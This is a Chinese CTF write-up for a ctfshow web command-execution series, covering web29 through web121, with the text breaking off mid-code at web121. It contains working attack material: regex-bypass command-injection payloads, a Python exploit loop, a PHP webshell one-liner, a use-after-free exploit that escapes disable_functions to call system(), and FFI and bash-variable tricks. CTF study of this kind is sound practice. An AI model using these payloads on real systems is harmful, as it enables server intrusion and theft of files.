【ctfshow】web篇-命令执行 wp

前言

记录web的题目wp,慢慢变强,铸剑。

命令执行

web29

  • image-20210707102447577
  • image-20210707102530786
  • image-20210707102544429

web30

  • image-20210707103118631
  • image-20210707103144554

web31

  • image-20210707105029901
  • image-20210707105220231

web32

  • image-20210707110929422
  • image-20210707111000644

web33

  • image-20210707210348568
  • image-20210707210419087
  • image-20210707210435823

web34

  • 和33题一样

web35

  • 和32题一样

web36

  • 和32题一样就是把1换成a

web37

  • image-20210707215121215

  • image-20210707215132578

web38

  • image-20210707215958632

web39

  • 和38一样

web40

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
  • 根据提示套娃方法
    • show_source(next(array_reverse(scandir(pos(localeconv())))));
  • 解析:show_source(“flag.php”);可以直接显示当前文件
    • localeconv()数组中第一个元素是.可以取路径
    • pos()就是取数据中第一个元素
    • array_reverse()将数组倒序利用next()取flag.php就执行了flag.php
      • image-20210716180426690
  • 根据cookie命令执行方法
    • c=session_start();system(session_id()); passid=ls
    • 解析利用session会话进行获取passid中的ls来进行命令执行
    • 但是不能正常执行tac flag.php
  • 根据post传参来进行命令执行
    • 利用-print_r(get_defined_vars())输出所有变量来查看
    • image-20210716182731071
    • image-20210716182805741
    • 利用next和array_pop来取出值
      • image-20210716182918300
    • eval没有被禁用,尝试命令执行
      • image-20210716182955897
      • image-20210716183112793

web41

1
2
3
4
5
6
7
8
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
  • 过滤了数字和字母和一些其他字符我们还是可以利用或运算来进行绕过,例如A的ascii码是65,用羽师傅的代码写的是64|1就得到了65,来构造payload

image-20210717105826825

  • 经过测试,想要在php中实现或运算,实际上服务器上会进行url解码,所以需要用十六进制的字符编码利用或运算进行绕过前端代码验证,写了个代码进行验证,因为phpinfo()可以使用(‘phpinfo’)()形式执行所以构造了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    /*
    # -*- coding: utf-8 -*-
    # @Author: GuYing
    # @Date: 2021/7/17
    */
    //或
    $c = $_GET['c'];
    eval("echo($c);");

    //(('%40'|'%10').('%40'|'%08').('%40'|'%10').('%40'|'%09').('%40'|'%0e').('%40'|'%06').('%40'|'%0F'))()
    ?>
  • 可以直接绕过当(’PHPINFO‘)()执行构造

    1
    2
    3
    payload1 ?c=(('%40'|'%10').('%40'|'%08').('%40'|'%10').('%40'|'%09').('%40'|'%0e').('%40'|'%06').('%40'|'%0F'))()

    payload2 ?c=(("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60"))()

    image-20210717110940082

    image-20210717144624204

  • 沿用羽师傅的代码

  • 解释一下:先是ascill码256个字符的所对应的16进制数,然后利用preg_match排除他们本身的二进制字符串是属于被过滤范围内的,可以大量减少运行时间,然后再读入到rce_or.txt中,利用python写exp进行利用。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    <?php
    /*
    # -*- coding: utf-8 -*-
    # @Author: GuYing
    # @Date: 2021/7/17
    */
    //异或
    $myfile = fopen("rce_or.txt", "w");
    $contents = "";
    for ($i=0; $i < 256; $i++) {
    for ($j=0; $j < 256 ; $j++) {

    if ($i<16) {
    $hex_i='0'.dechex($i);
    }
    else{
    $hex_i=dechex($i);
    }
    if($j<16){
    $hex_j='0'.dechex($j);
    }
    else{
    $hex_j = dechex($j);
    }
    $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
    if(preg_match($preg, hex2bin($hex_i))||preg_match($preg, hex2bin($hex_j))){
    echo '';
    }
    else{
    $a = '%'.$hex_i;
    $b = '%'.$hex_j;
    $c = (urldecode($a) | urldecode($b));
    if (ord($c)>=32&ord($c)<=126)
    {
    $contents=$contents.$c." ".$a." ".$b."\n";
    }
    }

    }
    }
    fwrite($myfile, $contents);
    fclose($myfile);
    ?>
  • python跑一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php rce_or.php") # 执行shell语句
if (len(argv) != 2):
print(len(argv))
print(argv)
print(argv[0:2])
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]

def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 +"\"|\"" + s2 + "\")"
return (output)

while True:
param = action(input("Your function : ")) + action(input("Your command: "))
print("Your payload: "+param);
data = {
'c': urllib.parse.unquote(param)
}
print(data)
r = requests.post(url , data=data)
print("result: "+r.text)

image-20210717150405707

web42

1
2
3
4
5
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);

web43

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717152049686

web44

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);

image-20210717152655692

web45

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717153219160

web46

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717183425122

web47

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717183713606

web48

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717183954397

web49

image-20210717184223954

web50

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717190209066

web51

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717190620917

web52

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
  • 看一下目录

    image-20210717194039748

  • 直接看看a.txt是啥

    image-20210717194149794

  • 发现有个flag文件在根目录

    image-20210717194258088

  • 用nl或者ta’’c看看’’是用来过滤

image-20210717193603100

image-20210717194411798

web53

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

image-20210717195320225

web54

1
2
3
4
5
6
7
8
9

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

image-20210717200118282

w

web55

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
  • bin为binary的简写,主要放置一些系统必备的执行命令,里面有base64可以试试绕过
1
?c=/???/????64 ????.???  相当于 ?c=/bin/base64 flag.php

image-20210718092438468

  • 解密之后就是结果

image-20210718092518736

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://9690d3da-43c1-4f75-87b3-628eff4078df.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
  • 因为php的上传文件之后,服务端并没有直接丢弃上传的文件,而是放在了/tmp/????????? 这里有九位数字可以为/tmp/phpabcabD因为正常情况最后一位都会是大写字母,利用[@-[]来确定执行范围所以构造payload(@-[是大写字母的范围可以去查ascii码)好像构造的时候.后面得加个空格或者+号也行
1
?c=.+/???/????????[@-[]
  • 上传抓包

image-20210718100015465

image-20210718100055211

  • 经此可以发现写个python代码直接上传文件,就写入cat flag.php 不用加#!bin/sh
1
2
3
4
5
6
7
8
import requests

while True:
url = "http://9690d3da-43c1-4f75-87b3-628eff4078df.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.txt', 'cat flag.php')})
if r.text.find("flag"):
print(r.text)
break

image-20210718100242475

web56

  • 过滤的数字,但是还是不影响第二种命令执行的方法,延续上题,或者python代码跑一波

image-20210718100624413

web57

1
2
3
4
5
6
7
8
9
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

flag在36.php,我们构造一个36就行了

1
2
3
$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,

在linux中,$(())是数学计算符,空值的时候为0,对0进行取反就是-1,构造37个-1相加,然后得-37取反为36,写一个脚本

1
2
3
4
5
6
7
8
9
10
11
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/10
# blog: gylq.gitee.io

repeat = '$((~$(())))'
for i in range(1,38):
if i == 1:
continue
repeat += '+$((~$(())))'
print('$((~$(('+repeat+'))))')
1
$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

image-20210813101924678

web58

接下来的系列是绕过disable_functions系列

获取当前文件路径

1
2
3
4
5
6
7
8
9
10
11
命令:c=print_r(scandir(dirname('__FILE__')))
命令:c=print_r(scandir(dirname("file")));
命令:c=print_r(scandir(dirname("dir")));
命令:c=print_r(scandir(dirname("__dir__")));
回显:Array ( [0] => . [1] => .. [2] => a.php [3] => flag.php [4] => index.php )

命令:c=$a=new DirectoryIterator('glob://*');foreach($a as $f){echo($f." ");}
回显:a.php flag.php index.php

命令:c=$a=opendir("./"); while($file = readdir($a)){echo $file." ";};
回显:.. . a.php flag.php index.php

读取任意的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
命令:c=echo file_get_contents('flag.php');
命令:c=readfile('flag.php');
回显:php代码要查看源代码

命令:c=var_dump(file('flag.php'));
命令:c=print_r(file('flag.php'));
回显:数组显示输出

通过fopen去读取文件内容
fread() //读取文件
fgets() //从文件指针中读取一行
fgetc() //从文件指针中读取字符
fgetss() //从文件指针中读取一行并过滤HTML标记
fgetcsv() //从文件指针中读入一行并解析CSV字段
payload:

//一行行字符形式
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取

//字符形式
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取

//数组形式
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

//通过高亮显示php文件
c=show_source("flag.php");
c=highlight_file("flag.php");

或者直接用一些未禁用的函数写入一句话木马

1
c=file_put_contents('gylq.php','<?php eval($_REQUEST[1]);?>');

用蚁剑连接读取flag

image-20210813111738922

web59

和上题源码差不多

payload

1
2
c=print_r(scandir(dirname('__FILE__'))); //查看路径
c=show_source('flag.php');

web60

  • file_get_contents被禁了
1
2
3
c=print_r(scandir("./")); //查看路径
//用file_put_contents写一句话
//也可以利用curl实现get和post请求命令执行

其他读取文件payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//一行行字符形式
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取

//字符形式
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取

//数组形式
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

//通过高亮显示php文件
c=show_source("flag.php");
c=highlight_file("flag.php");

//复制和改名
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

web61

这回fopen被禁了

1
c=print_r(scandir("./"));//查看路径

payload

1
2
3
//也可以用file_put_contents写shell
c=show_source("flag.php");
c=highlight_file('flag.php');

web62

file_put_contents被禁了

查路径的姿势

1
2
3
4
5
c=$a=opendir('./');while(($file = readdir($a))){echo $file." ";}

c=print_r(scandir("."));
//用current取出localeconv中的.来读取路径
c=print_r(scandir(current(localeconv())));

payload

1
2
3
4
c=show_source('flag.php');
c=highlight_file('flag.php');
//print_r(next(array_reverse(scandir(current(localeconv())))))取出flag.php这个然后访问
c=show_source((next(array_reverse(scandir(current(localeconv()))))));

web63

1
2
3
4
5
6
c=show_source('flag.php');
c=highlight_file('flag.php');
//print_r(next(array_reverse(scandir(current(localeconv())))))取出flag.php这个然后访问
c=show_source((next(array_reverse(scandir(current(localeconv()))))));
//查看所有变量
c=include('flag.php');var_dump(get_defined_vars());

web64

1
2
3
4
c=show_source('flag.php');
c=highlight_file('flag.php');
//print_r(next(array_reverse(scandir(current(localeconv())))))取出flag.php这个然后访问
c=show_source((next(array_reverse(scandir(current(localeconv()))))));

web65

1
2
3
4
c=show_source('flag.php');
c=highlight_file('flag.php');
//print_r(next(array_reverse(scandir(current(localeconv())))))取出flag.php这个然后访问
c=show_source((next(array_reverse(scandir(current(localeconv()))))));

web66

这次flag不在当前目录,在根目录

查看flag路径

1
c=print_r(scandir('/'));

获取flag的方法

1
2
3
4
5
c=highlight_file('/flag.txt');
c=include('/flag.txt');
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web67

payload

1
2
3
4
5
c=highlight_file('/flag.txt');
c=include('/flag.txt');
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web68

扫目录姿势

1
2
3
c=var_dump(scandir('/'));

c=$a=new directoryIterator('glob:///*');foreach($a as $f){echo $f." ";};
1
2
3
4
c=include('/flag.txt');
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web69

1
c=$a=new directoryiterator('glob:///*');foreach($a as $f){echo $f." ";};
1
2
3
4
c=include('/flag.txt');
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web70

和上题一样

web71

这题给了源码,首先了解几个函数

1
2
3
ob_get_contents —— 返回输出缓冲区的内容
ob_end_clean —— 清空(擦除)缓冲区并关闭输出缓冲
此函数丢弃顶层输出缓冲区的内容并关闭这个缓冲区,如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃
1
2
3
4
5
6
7
$a = 'system("ls");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c;
//$c中会存储缓冲区输出的内容全部获取
//接着ob_end_clean()将缓冲区的内容丢弃并且关闭

看看源码

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

preg_replace将你得到的数据中字母和数字全部转换为?,所以你得想办法绕过,不然输出结果都是?,利用exit()直接中断后面的运行,让我们前面的正常运行

查路径

1
c=$a=new directoryIterator('glob:///*');foreach($a as $f){echo $f." ";};exit();

查flag

1
c=include('/flag.txt');exit();

web72

查一下路径,flag0.txt

1
c=$a=new directoryIterator('glob:///*');foreach($a as $f){echo $f." ";};exit();

发现好像无法读取

image-20210813215221918

发现这题有open_basedir和disable_functions的限制

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空

正好群主有现成的发出来exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

抓post包,直接贴上去,将c后面的url加密,发包就拿到flag了

image-20210814050514152

web73

读路径

1
c=$a=new directoryiterator('glob:///*');foreach($a as $f){echo $f." ";};exit();

payload

1
2
3
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);

web74

和上题一样

web75

读取路径

1
c=$a=new directoryiterator('glob:///*');foreach($a as $f){echo $f." ";};exit();

这题是用mysql的load_file进行读取文件,payload

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

image-20210814052010208

web76

这次名字变36d,老样子,抓包拿flag

image-20210814052802298

web77

读路径

1
c=$a=new directoryiterator('glob:///*');foreach($a as $f){echo $f." ";};exit();

发现了flag36x.txt和readflag,题目提示php7.4,发现是利用FF1拓展(php7.4开始才有),payload如下

1
c=$ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >gylq.txt");exit();

web118

题目提示,flag在flag.php中,接着看源码,说是systemc命令执行

image-20210815044500697

但是发现过滤了数字和小写字母等

1
2
3
4
5
6
7
8
9
10
[root@iZbp10rm32c5jzpurgsmsfZ ~]# echo ${PATH:~0}
n
[root@iZbp10rm32c5jzpurgsmsfZ ~]# echo ${PATH:5:1}
l
[root@iZbp10rm32c5jzpurgsmsfZ ~]# ${PATH:~0}${PATH:5:1} flag.txt
1 123
[root@iZbp10rm32c5jzpurgsmsfZ ~]# echo ${PATH:~G}
n
[root@iZbp10rm32c5jzpurgsmsfZ html]# echo ${PWD:~A}
l

payload

1
code=${PATH:~A}${PWD:~A} ????.???

image-20210815045854670

web119

这次在前面的基础上把path给禁了,也就是我们无法获得n这个字母,也就无法构成了nl命令。接下来我们尝试构造一下/bin/cat,而想要匹配到我们至少需要一个/符号和一个cat中的一个字母,这里使用${SHLVL}来配合构造/

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

1
2
3
4
5
6
7
8
[root@iZbp10rm32c5jzpurgsmsfZ html]# echo ${SHLVL}
1
[root@iZbp10rm32c5jzpurgsmsfZ html]# echo ${PWD}
/var/www/html
[root@iZbp10rm32c5jzpurgsmsfZ html]# echo ${#}
0
[root@iZbp10rm32c5jzpurgsmsfZ html]# echo ${PWD:${#}:${SHLVL}}
/

一般给的权限都是www-data,所以我们用${USER}可以获得“www-data”,而我们要取到at的话需要${USER:~2:2},但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION

构造payload如下

1
2
3
4
5
6
7
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}} ====> /

/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

群主的payload,利用php的版本来利用

1
2
3
code=${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???

相当于 tac ????.???

web120

这回换成源码了,HOME和BASH也禁了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>

但是我们可以利用?构造base64来直接访问

1
2
3
4
5
6
7
8
9
echo ${PWD::${SHLVL}}
构造出一个/
${PWD::${SHLVL}}???${PWD::${SHLVL}}b????4 flag.txt
可以直接执行
MTIzCg==
可以利用RANDOM来随机摇出4的长度,就可以拿flag了
payload

code=${PWD::${SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

web121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
